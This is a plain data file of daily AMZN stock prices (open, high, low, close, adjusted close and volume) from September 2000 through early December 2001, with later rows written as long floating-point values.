+2000-09-08,44.0625,45.0,42.5,42.9375,42.9375,5088900,AMZN
+2000-09-11,42.625,45.21875,42.1875,42.375,42.375,5447100,AMZN
+2000-09-12,43.375,44.1875,42.25,42.6875,42.6875,3821500,AMZN
+2000-09-13,41.3125,43.125,41.0,42.4375,42.4375,4085000,AMZN
+2000-09-14,44.1875,46.0,43.75,44.875,44.875,6963500,AMZN
+2000-09-15,45.375,45.4375,42.875,43.625,43.625,6180200,AMZN
+2000-09-18,43.5,44.625,41.875,42.8125,42.8125,4445200,AMZN
+2000-09-19,42.0625,42.75,39.125,40.75,40.75,7230800,AMZN
+2000-09-20,40.4375,40.5,37.375,37.5,37.5,9744800,AMZN
+2000-09-21,37.4375,40.5,37.25,40.0625,40.0625,7425600,AMZN
+2000-09-22,38.375,42.125,38.3125,41.4375,41.4375,5996200,AMZN
+2000-09-25,41.21875,42.5625,40.0,40.375,40.375,5459900,AMZN
+2000-09-26,40.625,41.125,39.5625,39.75,39.75,4260400,AMZN
+2000-09-27,38.6875,39.625,35.5,37.875,37.875,10030900,AMZN
+2000-09-28,37.3125,40.25,37.125,40.0,40.0,5857900,AMZN
+2000-09-29,39.0,41.25,37.625,38.4375,38.4375,6517100,AMZN
+2000-10-02,38.1875,38.4375,35.25,35.875,35.875,5477700,AMZN
+2000-10-03,36.75,37.25,35.0,35.0625,35.0625,5379900,AMZN
+2000-10-04,33.4375,37.0625,32.5,36.0,36.0,7841100,AMZN
+2000-10-05,35.1875,36.625,32.0,33.5625,33.5625,6966300,AMZN
+2000-10-06,32.5,33.25,30.1875,31.5625,31.5625,8871100,AMZN
+2000-10-09,30.25,30.5625,27.375,30.0625,30.0625,12727500,AMZN
+2000-10-10,29.75,32.71875,28.875,30.4375,30.4375,7265500,AMZN
+2000-10-11,27.9375,30.25,27.625,27.8125,27.8125,7889700,AMZN
+2000-10-12,28.375,28.8125,24.625,25.125,25.125,8032600,AMZN
+2000-10-13,24.25,28.875,23.5,28.4375,28.4375,7633400,AMZN
+2000-10-16,28.125,28.3125,24.125,24.3125,24.3125,7147700,AMZN
+2000-10-17,24.875,25.1875,20.875,21.9375,21.9375,15140500,AMZN
+2000-10-18,19.875,25.375,19.375,25.125,25.125,18788700,AMZN
+2000-10-19,26.5625,28.125,24.1875,27.75,27.75,10874900,AMZN
+2000-10-20,27.6875,31.25,27.125,30.8125,30.8125,11621900,AMZN
+2000-10-23,29.6875,30.375,27.625,30.0,30.0,10199600,AMZN
+2000-10-24,29.875,33.875,28.8125,29.5625,29.5625,13676600,AMZN
+2000-10-25,34.0,36.5,31.75,31.875,31.875,28572900,AMZN
+2000-10-26,32.1875,37.5,31.0,36.875,36.875,17825500,AMZN
+2000-10-27,33.9375,37.5,33.875,35.625,35.625,12370700,AMZN
+2000-10-30,33.0625,34.375,30.265625,32.875,32.875,12510200,AMZN
+2000-10-31,32.6875,36.875,32.0625,36.625,36.625,9919500,AMZN
+2000-11-01,35.8125,40.0,35.6875,37.375,37.375,11099200,AMZN
+2000-11-02,38.0625,39.875,37.5,39.75,39.75,6989700,AMZN
+2000-11-03,39.0,40.875,36.875,37.5625,37.5625,5962400,AMZN
+2000-11-06,38.5625,38.625,34.75,36.5625,36.5625,6444600,AMZN
+2000-11-07,36.5,39.4375,35.5625,36.9375,36.9375,5495300,AMZN
+2000-11-08,36.0,37.0,33.25,33.875,33.875,5835300,AMZN
+2000-11-09,32.6875,33.0,29.875,31.25,31.25,7169600,AMZN
+2000-11-10,30.75,31.875,30.0,30.0625,30.0625,5255600,AMZN
+2000-11-13,28.8125,30.109375,27.4375,27.8125,27.8125,8377500,AMZN
+2000-11-14,28.75,29.875,25.75,28.9375,28.9375,7837900,AMZN
+2000-11-15,28.625,30.8125,28.4375,29.5,29.5,5263200,AMZN
+2000-11-16,28.6875,30.5,27.75,27.8125,27.8125,4134800,AMZN
+2000-11-17,28.0,29.625,26.875,27.4375,27.4375,4996000,AMZN
+2000-11-20,26.0,27.9375,25.0,25.8125,25.8125,6438300,AMZN
+2000-11-21,26.625,26.875,23.625,24.25,24.25,6197500,AMZN
+2000-11-22,23.875,27.5,22.125,25.1875,25.1875,11877100,AMZN
+2000-11-24,26.421875,29.125,26.0625,28.9375,28.9375,7639300,AMZN
+2000-11-27,29.75,30.75,27.0,28.0,28.0,6411400,AMZN
+2000-11-28,26.0,26.1875,24.625,25.03125,25.03125,11327500,AMZN
+2000-11-29,25.125,27.5,24.25,26.9375,26.9375,11463200,AMZN
+2000-11-30,24.75,26.1875,22.875,24.6875,24.6875,13123500,AMZN
+2000-12-01,24.9375,26.75,23.0,24.625,24.625,7757400,AMZN
+2000-12-04,25.1875,27.1875,23.25,26.5625,26.5625,8255500,AMZN
+2000-12-05,27.125,27.625,24.75,25.375,25.375,9969900,AMZN
+2000-12-06,24.6875,26.0,23.625,23.625,23.625,8825800,AMZN
+2000-12-07,23.0625,23.4375,20.125,21.375,21.375,10647500,AMZN
+2000-12-08,23.3125,24.6875,21.25,23.4375,23.4375,12969800,AMZN
+2000-12-11,22.875,26.125,21.75,25.3125,25.3125,10904200,AMZN
+2000-12-12,24.5,27.5,24.3125,25.875,25.875,7306800,AMZN
+2000-12-13,26.5625,26.625,23.5,23.75,23.75,6281800,AMZN
+2000-12-14,24.0625,24.6875,22.59375,22.6875,22.6875,7020800,AMZN
+2000-12-15,22.25,24.25,22.0,22.875,22.875,8713700,AMZN
+2000-12-18,20.75,21.1875,18.9375,19.875,19.875,16035200,AMZN
+2000-12-19,20.3125,20.875,17.375,18.25,18.25,13218500,AMZN
+2000-12-20,16.1875,17.875,15.625,16.6875,16.6875,22050700,AMZN
+2000-12-21,16.375,17.75,14.875,15.1875,15.1875,8851400,AMZN
+2000-12-22,15.3125,16.546875,15.25,15.5625,15.5625,9387000,AMZN
+2000-12-26,16.3125,18.5,16.25,16.9375,16.9375,9012800,AMZN
+2000-12-27,16.0,17.4375,15.5625,16.875,16.875,6598800,AMZN
+2000-12-28,16.625,18.25,16.625,17.375,17.375,8455600,AMZN
+2000-12-29,16.75,17.125,15.0,15.5625,15.5625,9849700,AMZN
+2001-01-02,15.8125,16.0,13.625,13.875,13.875,9203500,AMZN
+2001-01-03,13.625,17.875,13.5625,17.5625,17.5625,14680400,AMZN
+2001-01-04,17.0,17.5625,15.4375,15.5,15.5,10620500,AMZN
+2001-01-05,15.5,15.875,13.5625,14.5625,14.5625,8798800,AMZN
+2001-01-08,14.4375,15.5625,13.75,14.9375,14.9375,10444700,AMZN
+2001-01-09,14.5625,16.625,14.5625,16.375,16.375,23455200,AMZN
+2001-01-10,15.84375,17.0,15.5625,16.5,16.5,11002500,AMZN
+2001-01-11,15.75,17.3125,15.625,17.0,17.0,12756600,AMZN
+2001-01-12,17.34375,18.5,17.125,17.6875,17.6875,8434200,AMZN
+2001-01-16,18.3125,18.375,17.25,18.0625,18.0625,6017000,AMZN
+2001-01-17,18.875,19.5625,17.75,18.375,18.375,9166000,AMZN
+2001-01-18,18.375,19.5,17.9375,19.5,19.5,4115800,AMZN
+2001-01-19,20.375,20.375,18.6875,19.9375,19.9375,6177500,AMZN
+2001-01-22,19.5,19.9375,18.5,18.5,18.5,4398600,AMZN
+2001-01-23,18.375,19.3125,18.25,18.953125,18.953125,4744300,AMZN
+2001-01-24,19.1875,22.375,19.0,21.875,21.875,13848100,AMZN
+2001-01-25,21.6875,21.75,19.0,19.0,19.0,7066400,AMZN
+2001-01-26,18.9375,20.5,18.875,19.5,19.5,5094600,AMZN
+2001-01-29,19.125,20.75,18.8125,20.125,20.125,7713000,AMZN
+2001-01-30,20.5625,20.6875,18.671875,18.9375,18.9375,12273300,AMZN
+2001-01-31,18.9375,19.5625,17.0625,17.3125,17.3125,20475800,AMZN
+2001-02-01,17.1875,17.1875,15.75,16.25,16.25,9468700,AMZN
+2001-02-02,16.125,16.1875,14.25,14.375,14.375,12101100,AMZN
+2001-02-05,14.625,14.9375,14.3125,14.4375,14.4375,9189800,AMZN
+2001-02-06,13.8125,15.875,13.5625,15.8125,15.8125,19075900,AMZN
+2001-02-07,15.1875,15.8125,14.5625,15.0,15.0,7567900,AMZN
+2001-02-08,15.3125,15.875,14.375,14.375,14.375,5295200,AMZN
+2001-02-09,14.3125,14.75,13.375,13.375,13.375,7454000,AMZN
+2001-02-12,14.125,15.0,13.703125,14.5,14.5,5295300,AMZN
+2001-02-13,15.0,15.0625,13.75,13.75,13.75,4795400,AMZN
+2001-02-14,14.125,14.75,13.5,14.4375,14.4375,8123400,AMZN
+2001-02-15,13.5,14.625,13.5,14.5,14.5,16384500,AMZN
+2001-02-16,13.625,14.125,13.3125,13.6875,13.6875,6490600,AMZN
+2001-02-20,13.625,13.6875,12.4375,12.5,12.5,6589100,AMZN
+2001-02-21,12.25,12.5,11.3125,11.9375,11.9375,7552600,AMZN
+2001-02-22,12.0,12.125,11.375,11.9375,11.9375,8249200,AMZN
+2001-02-23,11.875,12.0625,11.0625,11.8125,11.8125,5149900,AMZN
+2001-02-26,12.0625,12.25,11.5,11.9375,11.9375,6229100,AMZN
+2001-02-27,11.8125,12.125,11.625,11.75,11.75,7732600,AMZN
+2001-02-28,11.25,11.75,9.9375,10.1875,10.1875,14629800,AMZN
+2001-03-01,9.875,10.6875,9.59375,10.4375,10.4375,10996700,AMZN
+2001-03-02,10.03125,10.625,10.0,10.0,10.0,7545600,AMZN
+2001-03-05,12.375,13.0625,11.5,12.625,12.625,23500700,AMZN
+2001-03-06,13.078125,14.0,11.25,11.875,11.875,23191500,AMZN
+2001-03-07,11.9375,12.5625,11.4375,12.25,12.25,10644100,AMZN
+2001-03-08,11.9375,12.0,11.625,11.6875,11.6875,4957600,AMZN
+2001-03-09,11.4375,12.5,11.375,12.25,12.25,8856700,AMZN
+2001-03-12,11.375,11.6875,10.5,10.625,10.625,5716500,AMZN
+2001-03-13,10.8125,11.0625,10.5,11.0,11.0,3330700,AMZN
+2001-03-14,10.25,10.9375,10.125,10.625,10.625,3124400,AMZN
+2001-03-15,11.375,11.4375,10.8125,10.875,10.875,5824900,AMZN
+2001-03-16,10.625,11.0625,10.25,11.0,11.0,6984200,AMZN
+2001-03-19,11.1875,11.3125,10.125,10.5,10.5,6774500,AMZN
+2001-03-20,10.5625,11.5,10.125,10.25,10.25,6294700,AMZN
+2001-03-21,10.375,10.4375,10.0,10.0,10.0,5506600,AMZN
+2001-03-22,10.0625,10.25,9.5625,10.1875,10.1875,6594600,AMZN
+2001-03-23,10.5625,10.8125,9.9375,10.1875,10.1875,3754400,AMZN
+2001-03-26,10.699999809265137,11.289999961853027,10.619999885559082,10.9399995803833,10.9399995803833,6850600,AMZN
+2001-03-27,10.920000076293945,11.800000190734863,10.510000228881836,11.640000343322754,11.640000343322754,5603200,AMZN
+2001-03-28,11.100000381469727,11.15999984741211,10.75,10.800000190734863,10.800000190734863,3386900,AMZN
+2001-03-29,10.569999694824219,11.029999732971191,10.0,10.0,10.0,4638400,AMZN
+2001-03-30,10.119999885559082,10.84000015258789,9.90999984741211,10.229999542236328,10.229999542236328,3558400,AMZN
+2001-04-02,10.329999923706055,10.529999732971191,8.5,9.100000381469727,9.100000381469727,8803900,AMZN
+2001-04-03,8.710000038146973,9.149999618530273,8.5,8.630000114440918,8.630000114440918,4865700,AMZN
+2001-04-04,8.569999694824219,9.0,8.100000381469727,8.399999618530273,8.399999618530273,5708100,AMZN
+2001-04-05,9.020000457763672,9.300000190734863,8.720000267028809,9.119999885559082,9.119999885559082,5424200,AMZN
+2001-04-06,8.899999618530273,8.899999618530273,8.199999809265137,8.369999885559082,8.369999885559082,5281100,AMZN
+2001-04-09,11.84000015258789,11.899999618530273,10.699999809265137,11.180000305175781,11.180000305175781,23405700,AMZN
+2001-04-10,11.239999771118164,13.5,11.199999809265137,12.010000228881836,12.010000228881836,18860400,AMZN
+2001-04-11,13.100000381469727,13.649999618530273,12.180000305175781,13.319999694824219,13.319999694824219,13421800,AMZN
+2001-04-12,13.050000190734863,15.010000228881836,13.0,14.670000076293945,14.670000076293945,11530000,AMZN
+2001-04-16,14.5,14.539999961853027,13.649999618530273,14.029999732971191,14.029999732971191,6310100,AMZN
+2001-04-17,13.8100004196167,14.869999885559082,13.75,14.739999771118164,14.739999771118164,5073500,AMZN
+2001-04-18,15.65999984741211,18.15999984741211,15.550000190734863,16.540000915527344,16.540000915527344,19555000,AMZN
+2001-04-19,16.899999618530273,16.899999618530273,15.6899995803833,15.989999771118164,15.989999771118164,8742600,AMZN
+2001-04-20,15.619999885559082,16.200000762939453,14.970000267028809,15.779999732971191,15.779999732971191,8522100,AMZN
+2001-04-23,16.389999389648438,17.459999084472656,16.020000457763672,16.200000762939453,16.200000762939453,11689600,AMZN
+2001-04-24,16.440000534057617,16.799999237060547,15.479999542236328,15.680000305175781,15.680000305175781,7082600,AMZN
+2001-04-25,15.6899995803833,16.100000381469727,14.600000381469727,16.09000015258789,16.09000015258789,9317100,AMZN
+2001-04-26,16.25,16.5,15.0,15.430000305175781,15.430000305175781,5960600,AMZN
+2001-04-27,15.720000267028809,15.729999542236328,15.020000457763672,15.270000457763672,15.270000457763672,4446000,AMZN
+2001-04-30,15.630000114440918,16.899999618530273,15.59000015258789,15.779999732971191,15.779999732971191,5780300,AMZN
+2001-05-01,15.899999618530273,17.0,15.800000190734863,16.889999389648438,16.889999389648438,5107900,AMZN
+2001-05-02,17.139999389648438,17.43000030517578,16.84000015258789,17.110000610351562,17.110000610351562,7497200,AMZN
+2001-05-03,16.829999923706055,17.0,16.25,16.75,16.75,5010000,AMZN
+2001-05-04,16.350000381469727,17.600000381469727,15.930000305175781,17.559999465942383,17.559999465942383,6584500,AMZN
+2001-05-07,17.360000610351562,17.530000686645508,16.510000228881836,16.920000076293945,16.920000076293945,5083700,AMZN
+2001-05-08,16.280000686645508,16.489999771118164,15.600000381469727,16.18000030517578,16.18000030517578,7191500,AMZN
+2001-05-09,15.550000190734863,15.65999984741211,15.0,15.010000228881836,15.010000228881836,4671000,AMZN
+2001-05-10,15.399999618530273,15.640000343322754,14.600000381469727,14.619999885559082,14.619999885559082,5012600,AMZN
+2001-05-11,14.550000190734863,14.800000190734863,14.0,14.680000305175781,14.680000305175781,3486900,AMZN
+2001-05-14,14.529999732971191,14.529999732971191,13.15999984741211,13.329999923706055,13.329999923706055,6194200,AMZN
+2001-05-15,13.350000381469727,14.300000190734863,13.140000343322754,13.539999961853027,13.539999961853027,6131200,AMZN
+2001-05-16,13.449999809265137,14.380000114440918,13.100000381469727,14.130000114440918,14.130000114440918,7279000,AMZN
+2001-05-17,14.09000015258789,15.0,14.029999732971191,14.779999732971191,14.779999732971191,6755400,AMZN
+2001-05-18,14.829999923706055,15.0,14.5,14.720000267028809,14.720000267028809,5071800,AMZN
+2001-05-21,14.949999809265137,16.420000076293945,14.75,16.3799991607666,16.3799991607666,7232400,AMZN
+2001-05-22,16.790000915527344,17.0,15.899999618530273,16.25,16.25,7309000,AMZN
+2001-05-23,16.200000762939453,16.799999237060547,15.119999885559082,15.600000381469727,15.600000381469727,8926500,AMZN
+2001-05-24,15.710000038146973,16.75,15.25,16.75,16.75,5334900,AMZN
+2001-05-25,16.649999618530273,17.530000686645508,16.3700008392334,17.09000015258789,17.09000015258789,6928700,AMZN
+2001-05-29,17.209999084472656,17.540000915527344,16.700000762939453,17.219999313354492,17.219999313354492,9394900,AMZN
+2001-05-30,16.540000915527344,17.0,15.619999885559082,15.65999984741211,15.65999984741211,8851400,AMZN
+2001-05-31,15.84000015258789,17.200000762939453,15.75,16.690000534057617,16.690000534057617,9632000,AMZN
+2001-06-01,17.219999313354492,17.309999465942383,16.389999389648438,16.950000762939453,16.950000762939453,6468600,AMZN
+2001-06-04,17.31999969482422,17.399999618530273,16.149999618530273,16.90999984741211,16.90999984741211,6141000,AMZN
+2001-06-05,17.059999465942383,17.920000076293945,16.0,16.440000534057617,16.440000534057617,12758100,AMZN
+2001-06-06,16.670000076293945,16.719999313354492,15.479999542236328,15.989999771118164,15.989999771118164,9736100,AMZN
+2001-06-07,15.819999694824219,16.229999542236328,15.6899995803833,16.1299991607666,16.1299991607666,3445200,AMZN
+2001-06-08,16.25,16.329999923706055,15.649999618530273,15.699999809265137,15.699999809265137,2508300,AMZN
+2001-06-11,15.5,15.550000190734863,14.449999809265137,14.859999656677246,14.859999656677246,4971000,AMZN
+2001-06-12,14.600000381469727,14.789999961853027,14.319999694824219,14.640000343322754,14.640000343322754,4333700,AMZN
+2001-06-13,14.960000038146973,15.149999618530273,14.109999656677246,14.119999885559082,14.119999885559082,3784400,AMZN
+2001-06-14,14.119999885559082,14.119999885559082,13.15999984741211,13.289999961853027,13.289999961853027,5088300,AMZN
+2001-06-15,13.010000228881836,13.460000038146973,12.300000190734863,12.489999771118164,12.489999771118164,7671600,AMZN
+2001-06-18,12.449999809265137,12.699999809265137,11.670000076293945,11.829999923706055,11.829999923706055,5717100,AMZN
+2001-06-19,12.449999809265137,12.649999618530273,11.199999809265137,11.359999656677246,11.359999656677246,6109500,AMZN
+2001-06-20,11.270000457763672,12.699999809265137,11.199999809265137,12.529999732971191,12.529999732971191,10652300,AMZN
+2001-06-21,12.680000305175781,13.199999809265137,12.59000015258789,13.079999923706055,13.079999923706055,9777400,AMZN
+2001-06-22,13.130000114440918,13.270000457763672,12.380000114440918,12.399999618530273,12.399999618530273,6316700,AMZN
+2001-06-25,12.710000038146973,13.140000343322754,12.569999694824219,12.8100004196167,12.8100004196167,6947000,AMZN
+2001-06-26,12.539999961853027,13.739999771118164,12.039999961853027,13.25,13.25,6639500,AMZN
+2001-06-27,13.8100004196167,14.25,13.649999618530273,14.039999961853027,14.039999961853027,7624400,AMZN
+2001-06-28,14.229999542236328,14.59000015258789,13.770000457763672,14.359999656677246,14.359999656677246,5516700,AMZN
+2001-06-29,14.3100004196167,14.649999618530273,13.720000267028809,14.149999618530273,14.149999618530273,4489000,AMZN
+2001-07-02,14.100000381469727,14.710000038146973,13.850000381469727,14.529999732971191,14.529999732971191,6334500,AMZN
+2001-07-03,14.489999771118164,14.5,14.0,14.130000114440918,14.130000114440918,2701100,AMZN
+2001-07-05,14.279999732971191,15.449999809265137,14.199999809265137,15.270000457763672,15.270000457763672,12083200,AMZN
+2001-07-06,14.899999618530273,15.720000267028809,14.800000190734863,15.270000457763672,15.270000457763672,9091200,AMZN
+2001-07-09,15.350000381469727,15.899999618530273,15.109999656677246,15.8100004196167,15.8100004196167,8001000,AMZN
+2001-07-10,16.079999923706055,16.1200008392334,15.600000381469727,15.609999656677246,15.609999656677246,8642700,AMZN
+2001-07-11,15.430000305175781,15.800000190734863,14.949999809265137,15.34000015258789,15.34000015258789,5821800,AMZN
+2001-07-12,15.699999809265137,16.540000915527344,15.699999809265137,16.489999771118164,16.489999771118164,5976500,AMZN
+2001-07-13,16.260000228881836,17.0,16.100000381469727,16.979999542236328,16.979999542236328,6848300,AMZN
+2001-07-16,16.940000534057617,17.420000076293945,16.010000228881836,16.010000228881836,16.010000228881836,7315800,AMZN
+2001-07-17,15.84000015258789,16.489999771118164,15.829999923706055,16.350000381469727,16.350000381469727,3706200,AMZN
+2001-07-18,16.06999969482422,16.649999618530273,15.880000114440918,15.960000038146973,15.960000038146973,3673100,AMZN
+2001-07-19,16.149999618530273,16.799999237060547,16.139999389648438,16.489999771118164,16.489999771118164,5212800,AMZN
+2001-07-20,16.530000686645508,17.25,16.450000762939453,16.979999542236328,16.979999542236328,3735700,AMZN
+2001-07-23,17.020000457763672,17.1299991607666,15.960000038146973,16.030000686645508,16.030000686645508,8663900,AMZN
+2001-07-24,13.619999885559082,14.0,11.899999618530273,12.0600004196167,12.0600004196167,32572900,AMZN
+2001-07-25,12.289999961853027,12.3100004196167,11.069999694824219,11.510000228881836,11.510000228881836,12559700,AMZN
+2001-07-26,11.670000076293945,12.75,11.229999542236328,12.329999923706055,12.329999923706055,10502500,AMZN
+2001-07-27,12.329999923706055,12.430000305175781,11.699999809265137,12.25,12.25,9075900,AMZN
+2001-07-30,12.210000038146973,12.75,11.979999542236328,12.550000190734863,12.550000190734863,5181000,AMZN
+2001-07-31,12.640000343322754,12.859999656677246,12.229999542236328,12.489999771118164,12.489999771118164,4378900,AMZN
+2001-08-01,12.729999542236328,12.859999656677246,12.170000076293945,12.5,12.5,5510600,AMZN
+2001-08-02,12.59000015258789,12.600000381469727,12.100000381469727,12.1899995803833,12.1899995803833,3872500,AMZN
+2001-08-03,12.239999771118164,12.390000343322754,12.109999656677246,12.149999618530273,12.149999618530273,3084900,AMZN
+2001-08-06,12.180000305175781,12.199999809265137,11.850000381469727,11.899999618530273,11.899999618530273,2661800,AMZN
+2001-08-07,11.890000343322754,11.899999618530273,11.520000457763672,11.600000381469727,11.600000381469727,2560200,AMZN
+2001-08-08,11.510000228881836,11.550000190734863,11.029999732971191,11.109999656677246,11.109999656677246,3373400,AMZN
+2001-08-09,11.140000343322754,11.170000076293945,10.25,10.460000038146973,10.460000038146973,6049000,AMZN
+2001-08-10,10.579999923706055,10.649999618530273,9.9399995803833,9.949999809265137,9.949999809265137,9187300,AMZN
+2001-08-13,10.100000381469727,10.300000190734863,9.770000457763672,10.119999885559082,10.119999885559082,4831500,AMZN
+2001-08-14,10.319999694824219,11.039999961853027,10.270000457763672,10.529999732971191,10.529999732971191,4807100,AMZN
+2001-08-15,10.539999961853027,10.829999923706055,10.0,10.079999923706055,10.079999923706055,3358500,AMZN
+2001-08-16,10.079999923706055,10.149999618530273,9.399999618530273,9.8100004196167,9.8100004196167,6227100,AMZN
+2001-08-17,9.510000228881836,10.09000015258789,9.449999809265137,9.989999771118164,9.989999771118164,5360600,AMZN
+2001-08-20,10.1899995803833,10.40999984741211,9.949999809265137,10.399999618530273,10.399999618530273,3614000,AMZN
+2001-08-21,10.699999809265137,10.789999961853027,9.880000114440918,9.890000343322754,9.890000343322754,5138300,AMZN
+2001-08-22,10.15999984741211,10.229999542236328,9.59000015258789,10.199999809265137,10.199999809265137,4126200,AMZN
+2001-08-23,10.130000114440918,10.15999984741211,9.569999694824219,9.630000114440918,9.630000114440918,4000700,AMZN
+2001-08-24,9.84000015258789,10.300000190734863,9.720000267028809,10.229999542236328,10.229999542236328,3779900,AMZN
+2001-08-27,10.09000015258789,10.270000457763672,9.90999984741211,10.130000114440918,10.130000114440918,2618000,AMZN
+2001-08-28,10.119999885559082,10.149999618530273,9.5600004196167,9.970000267028809,9.970000267028809,3229100,AMZN
+2001-08-29,10.039999961853027,10.050000190734863,9.010000228881836,9.1899995803833,9.1899995803833,3803600,AMZN
+2001-08-30,9.0600004196167,9.489999771118164,8.550000190734863,8.6899995803833,8.6899995803833,5851400,AMZN
+2001-08-31,8.699999809265137,9.300000190734863,8.6899995803833,8.9399995803833,8.9399995803833,3641600,AMZN
+2001-09-04,8.949999809265137,9.1899995803833,8.520000457763672,8.59000015258789,8.59000015258789,4857700,AMZN
+2001-09-05,8.65999984741211,8.680000305175781,6.849999904632568,7.650000095367432,7.650000095367432,21073400,AMZN
+2001-09-06,7.840000152587891,8.1899995803833,7.670000076293945,8.149999618530273,8.149999618530273,7131600,AMZN
+2001-09-07,7.960000038146973,8.609999656677246,7.849999904632568,8.510000228881836,8.510000228881836,7122100,AMZN
+2001-09-10,8.399999618530273,8.649999618530273,8.0600004196167,8.630000114440918,8.630000114440918,5833600,AMZN
+2001-09-17,7.300000190734863,8.050000190734863,7.050000190734863,7.489999771118164,7.489999771118164,10573500,AMZN
+2001-09-18,7.590000152587891,7.75,7.25,7.289999961853027,7.289999961853027,6270900,AMZN
+2001-09-19,7.349999904632568,7.449999809265137,6.639999866485596,7.309999942779541,7.309999942779541,9436500,AMZN
+2001-09-20,7.110000133514404,7.639999866485596,7.050000190734863,7.480000019073486,7.480000019073486,8630900,AMZN
+2001-09-21,6.949999809265137,7.71999979019165,6.690000057220459,7.480000019073486,7.480000019073486,12866100,AMZN
+2001-09-24,7.699999809265137,7.829999923706055,7.340000152587891,7.460000038146973,7.460000038146973,5102700,AMZN
+2001-09-25,7.489999771118164,7.570000171661377,7.019999980926514,7.090000152587891,7.090000152587891,4863100,AMZN
+2001-09-26,7.199999809265137,7.230000019073486,6.0,6.349999904632568,6.349999904632568,7839100,AMZN
+2001-09-27,6.46999979019165,6.639999866485596,5.670000076293945,6.199999809265137,6.199999809265137,8275000,AMZN
+2001-09-28,6.25,6.46999979019165,5.829999923706055,5.96999979019165,5.96999979019165,6967200,AMZN
+2001-10-01,5.909999847412109,6.099999904632568,5.510000228881836,6.010000228881836,6.010000228881836,7994400,AMZN
+2001-10-02,6.170000076293945,6.170000076293945,5.949999809265137,6.079999923706055,6.079999923706055,5677700,AMZN
+2001-10-03,6.170000076293945,7.210000038146973,6.019999980926514,6.760000228881836,6.760000228881836,5323500,AMZN
+2001-10-04,7.090000152587891,7.869999885559082,6.679999828338623,7.039999961853027,7.039999961853027,6217200,AMZN
+2001-10-05,6.96999979019165,7.900000095367432,6.739999771118164,7.199999809265137,7.199999809265137,5900900,AMZN
+2001-10-08,7.070000171661377,7.300000190734863,6.909999847412109,7.119999885559082,7.119999885559082,3934400,AMZN
+2001-10-09,7.110000133514404,7.119999885559082,6.670000076293945,6.909999847412109,6.909999847412109,2766800,AMZN
+2001-10-10,6.900000095367432,7.309999942779541,6.800000190734863,7.260000228881836,7.260000228881836,3083000,AMZN
+2001-10-11,7.539999961853027,8.15999984741211,7.5,7.849999904632568,7.849999904632568,6665300,AMZN
+2001-10-12,7.760000228881836,8.149999618530273,7.46999979019165,8.069999694824219,8.069999694824219,3629600,AMZN
+2001-10-15,8.239999771118164,9.199999809265137,8.229999542236328,8.880000114440918,8.880000114440918,8601800,AMZN
+2001-10-16,9.229999542236328,9.75,9.109999656677246,9.5600004196167,9.5600004196167,8299600,AMZN
+2001-10-17,9.979999542236328,9.989999771118164,8.850000381469727,8.920000076293945,8.920000076293945,8944500,AMZN
+2001-10-18,8.90999984741211,9.229999542236328,8.380000114440918,8.470000267028809,8.470000267028809,4353300,AMZN
+2001-10-19,8.489999771118164,8.520000457763672,7.5,8.010000228881836,8.010000228881836,7007300,AMZN
+2001-10-22,8.069999694824219,8.829999923706055,8.039999961853027,8.770000457763672,8.770000457763672,4231000,AMZN
+2001-10-23,9.25,9.600000381469727,8.850000381469727,9.550000190734863,9.550000190734863,12226400,AMZN
+2001-10-24,8.050000190734863,8.149999618530273,7.400000095367432,7.639999866485596,7.639999866485596,26692400,AMZN
+2001-10-25,7.389999866485596,7.78000020980835,7.150000095367432,7.769999980926514,7.769999980926514,9267800,AMZN
+2001-10-26,7.630000114440918,8.010000228881836,7.510000228881836,7.559999942779541,7.559999942779541,6107100,AMZN
+2001-10-29,7.610000133514404,7.659999847412109,7.039999961853027,7.050000190734863,7.050000190734863,5161800,AMZN
+2001-10-30,7.010000228881836,7.03000020980835,6.320000171661377,6.420000076293945,6.420000076293945,10055500,AMZN
+2001-10-31,6.789999961853027,7.019999980926514,6.550000190734863,6.980000019073486,6.980000019073486,7741500,AMZN
+2001-11-01,7.079999923706055,7.099999904632568,6.599999904632568,6.949999809265137,6.949999809265137,5053500,AMZN
+2001-11-02,6.949999809265137,6.949999809265137,6.670000076293945,6.710000038146973,6.710000038146973,3697100,AMZN
+2001-11-05,7.099999904632568,7.199999809265137,6.960000038146973,6.989999771118164,6.989999771118164,6287800,AMZN
+2001-11-06,7.079999923706055,7.130000114440918,6.909999847412109,7.050000190734863,7.050000190734863,5607800,AMZN
+2001-11-07,7.010000228881836,7.679999828338623,7.0,7.429999828338623,7.429999828338623,9715600,AMZN
+2001-11-08,7.659999847412109,7.670000076293945,6.739999771118164,6.96999979019165,6.96999979019165,9489700,AMZN
+2001-11-09,7.050000190734863,7.21999979019165,6.96999979019165,7.119999885559082,7.119999885559082,4400400,AMZN
+2001-11-12,7.159999847412109,7.239999771118164,6.800000190734863,7.050000190734863,7.050000190734863,3827300,AMZN
+2001-11-13,7.440000057220459,7.53000020980835,7.199999809265137,7.289999961853027,7.289999961853027,6136300,AMZN
+2001-11-14,7.630000114440918,9.489999771118164,7.599999904632568,9.489999771118164,9.489999771118164,29529800,AMZN
+2001-11-15,9.220000267028809,9.899999618530273,8.75,9.050000190734863,9.050000190734863,20948200,AMZN
+2001-11-16,9.210000038146973,9.350000381469727,8.75,8.949999809265137,8.949999809265137,13062000,AMZN
+2001-11-19,9.350000381469727,9.5,9.0,9.1899995803833,9.1899995803833,10011400,AMZN
+2001-11-20,9.069999694824219,9.300000190734863,8.600000381469727,8.600000381469727,8.600000381469727,7452000,AMZN
+2001-11-21,8.739999771118164,8.970000267028809,8.039999961853027,8.800000190734863,8.800000190734863,8996600,AMZN
+2001-11-23,8.899999618530273,9.140000343322754,8.5600004196167,9.079999923706055,9.079999923706055,4072800,AMZN
+2001-11-26,9.829999923706055,12.220000267028809,9.800000190734863,12.210000038146973,12.210000038146973,50689200,AMZN
+2001-11-27,12.050000190734863,12.25,11.220000267028809,11.479999542236328,11.479999542236328,34308800,AMZN
+2001-11-28,11.239999771118164,12.399999618530273,11.180000305175781,11.59000015258789,11.59000015258789,48516200,AMZN
+2001-11-29,11.890000343322754,11.899999618530273,10.789999961853027,11.149999618530273,11.149999618530273,20274000,AMZN
+2001-11-30,11.300000190734863,11.550000190734863,10.800000190734863,11.319999694824219,11.319999694824219,8888800,AMZN
+2001-12-03,11.020000457763672,11.079999923706055,10.479999542236328,10.489999771118164,10.489999771118164,9525900,AMZN
+2001-12-04,10.930000305175781,12.050000190734863,10.710000038146973,11.930000305175781,11.930000305175781,14499700,AMZN
+2001-12-05,12.399999618530273,12.800000190734863,11.75,11.760000228881836,11.760000228881836,23912200,AMZN
